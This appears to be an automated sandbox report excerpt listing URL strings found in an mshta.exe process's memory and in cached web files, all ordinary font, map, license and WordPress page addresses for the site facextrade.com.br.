Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/F
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latin
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato&subset=latink/css/magnific-popup.css?ver=0.9.3public.css
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100
Source: mshta.exe, 00000008.00000002.1165801829.00000000003A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:100s/4.txtCe
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:300-release.min.js?ver=4.9.20
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:3001
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:4004.txt
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:400er=1.249
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174889739.0000000005179000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:700
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:7004.txt:
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:9004.txt
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.googleapis.com/css?family=Lato:900ity:
Source: mshta.exe, 00000008.00000002.1179252969.00000000065D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/AO
Source: mshta.exe, 00000008.00000002.1179252969.00000000065D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/EO
Source: mshta.exe, 00000008.00000002.1178363026.0000000006479000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Source: mshta.exe, 00000008.00000003.956986857.00000000002C9000.00000004.00000020.00020000.00000000.sdmp, css[2].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot);s
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot/modernizr.js?ver=2.0.6
Source: mshta.exe, 00000008.00000002.1178363026.0000000006479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eotC:
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot)
Source: mshta.exe, 00000008.00000003.957014217.00000000002F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.958503207.00000000002F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp, css[6].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eott177&
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot
Source: mshta.exe, 00000008.00000003.957003648.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.958496440.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, css[5].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1165855199.00000000003B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh6UVSwiPHQ.eotZUH2R%
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.956992189.00000000002D3000.00000004.00000020.00020000.00000000.sdmp, css[3].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot);
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot.20
Source: mshta.exe, 00000008.00000002.1175277603.000000000528C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eot;-ms-opacity:.55;0.6
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotC:
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh7USSwiPHQ.eotdeflate
Source: mshta.exe, 00000008.00000002.1178400402.000000000648A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot
Source: mshta.exe, 00000008.00000003.956997265.00000000002DE000.00000004.00000020.00020000.00000000.sdmp, css[4].css.8.dr, css[1].css.8.dr	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);(
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot);e
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eot2
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fonts.gstatic.com/s/lato/v23/S6uyw4BMUTPHjx4wWg.eotC:
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://g.co/dev/maps-no-account
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://github.com/mambows/mobilemenu
Source: style[1].css.8.dr	String found in binary or memory: http://info.template-help.com/help/
Source: jquery.mobilemenu[1].js.8.dr	String found in binary or memory: http://jquery.com
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://kyruus.com
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/dT
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0#038;ver=4
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mt.googleapis.com/maps/vt/iconde
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/#
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/&
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1
Source: mshta.exe, 00000008.00000002.1165724575.000000000035E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1?ver=2.9.2
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1A
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1y~
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)D
Source: mshta.exe, 00000008.00000002.1165911897.00000000003CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://netdna.bootstrapcdn.com/font-awesome/3.2.1/font/fontawesome-webfont.eot?v=3.2.1.NET4.0E)H
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: mshta.exe, 00000008.00000002.1186574791.0000000009C8D000.00000004.00000020.00020000.00000000.sdmp, animate-logo[1].css.8.dr, jquery.jplayer.min[1].js.8.dr	String found in binary or memory: http://opensource.org/licenses/MIT
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://opensource.org/licenses/mit-license.html
Source: mshta.exe, 00000008.00000002.1177049655.0000000005850000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1185390535.0000000009AD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://scripts.sil.org/OFL
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://static.panoramio.com.storage.googleapis.com/photos/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://storage.ie6countdown.com/assets/100/images/banners/warning_bar_0000_us.jpg.0=1.7.2
Source: mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170501820.00000000037CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2/jqV
Source: mshta.exe, 00000008.00000002.1170390251.0000000003783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2US
Source: mshta.exe, 00000008.00000002.1168275161.0000000002C80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2ip
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2kV
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://translate.google.com/translate_a/element.js?cb=googleTranslateElementInit2us~V
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/byscuits
Source: mshta.exe, 00000008.00000003.939874043.000000000027F000.00000004.00000020.00020000.00000000.sdmp, font-awesome[1].css.8.dr	String found in binary or memory: http://twitter.com/fontawesome.
Source: responsive[1].css.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, bootstrap.min[1].js.8.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.txt
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.broofa.com
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.gnu.org/copyleft/gpl.html
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.gnu.org/licenses/gpl-2.0.html
Source: mshta.exe, 00000008.00000002.1186574791.0000000009C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, jquery.jplayer.min[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.jplayer.org
Source: mshta.exe, 00000008.00000002.1183487448.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.macromedia.com
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp, jquery.mousewheel.min[1].js.8.dr	String found in binary or memory: http://www.mathias-bank.de)
Source: mshta.exe, 00000008.00000002.1186574791.0000000009C8D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170215522.000000000372F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, camera.min[1].js.8.dr, swfobject[1].js.8.dr, jplayer.playlist.min[1].js.8.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: flexslider[1].css.8.dr	String found in binary or memory: http://www.woothemes.com/flexslider/
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.w.org/(
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.carousel[1].js.8.dr	String found in binary or memory: https://app.vzaar.com/videos/:id
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cbks0.googleapis.com/cbk?fs.
Source: mshta.exe, 00000008.00000002.1165962567.00000000003F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/apps-themes
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/EventTarget/addEventListener
Source: mshta.exe, 00000008.00000002.1186220024.0000000009C0F000.00000004.00000020.00020000.00000000.sdmp, scripts[1].js.8.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/error-messages#unsupported-browsers
Source: mshta.exe, 00000008.00000003.939879199.0000000000287000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/styling#cloud_tooling
Source: mshta.exe, 00000008.00000002.1174702241.0000000005115000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developers.google.com/maps/documentation/javascript/vector-map
Source: mshta.exe, 00000008.00000002.1178082381.0000000006430000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#about_section.0.0
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatos
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#contatos9
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estrutura
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estruturaion
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#estruturajs?ver=1.0.0
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section001.24
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#portfolio_section1.24
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentos
Source: mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#segmentosrce
Source: mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1178400402.000000000648A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicos
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/#servicosr
Source: mshta.exe, 00000008.00000002.1174663016.0000000005100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/P/1.1.(
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/comments/feed/J
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/
Source: mshta.exe, 00000008.00000002.1170116041.00000000036FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1166014804.0000000000417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/feed/atom/
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/ig
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/on
Source: mshta.exe, 00000008.00000002.1167751704.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1063601637.0000000002B43000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1184841994.0000000009A67000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-admin/admin-ajax.php
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/N
Source: mshta.exe, 00000008.00000002.1168302707.0000000002C86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/wp-json/contact-form-7/v1tom
Source: mshta.exe, 00000008.00000002.1184481099.00000000099AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://facextrade.com.br/xmlrpc.php?rsd
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geo0.ggpht.com/cbk
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geo1.ggpht.com/cbkn
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geo2.ggpht.com/cbk
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geo3.ggpht.com/cbkl
Source: mshta.exe, 00000008.00000002.1178455659.000000000649E000.00000004.00000020.00020000.00000000.sdmp, owl.theme.default.min[1].css.8.dr, owl.carousel.min[1].css.8.dr, owl.carousel[1].js.8.dr	String found in binary or memory: https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE
Source: mshta.exe, 00000008.00000002.1185420355.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp, superfish[1].js.8.dr	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent
Source: mshta.exe, 00000008.00000003.1037660895.000000000382A000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1039017067.000000000382C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.1038851345.000000000382B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.1170800574.000000000382D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/joeldbirch/onHoverIntent3
Source: animate-logo[1].css.8.dr	String found in binary or memory: https://github.com/nickpettit/glide
Source: jquery.simplr.smoothscroll.min[1].js.8.dr	String found in binary or memory: https://github.com/simov/simplr-smoothscroll
Source: mshta.exe, 00000008.00000002.1174934919.000000000517F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gtranslate.io/
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh3.ggpht.com/e
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh4.ggpht.com/iH
Source: mshta.exe, 00000008.00000002.1165538515.00000000002D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lh5.ggpht.com/d
